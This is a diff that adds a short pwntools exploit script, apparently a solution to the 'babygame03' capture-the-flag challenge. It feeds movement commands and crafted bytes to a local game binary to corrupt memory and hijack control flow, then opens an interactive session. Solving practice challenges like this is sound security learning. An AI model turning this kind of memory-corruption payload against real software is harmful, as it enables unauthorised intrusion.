babygame03_temp

babygame03/sol.py

@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+from pwn import *
+
+s = b'aaaa'+b'a'*4+b'wwwws'
+
+conn = process(["./game"])
+for i in range(3):
+    conn.sendline(s)
+    conn.sendline(b'p')
+conn.sendline(s)
+conn.sendline(b'a'*47+b'l\x70'+b'ws')
+conn.sendline(s)
+conn.sendline(b'wws')
+conn.sendline(b'a'*47+b'l\xfe'+b'w')
+conn.interactive()
+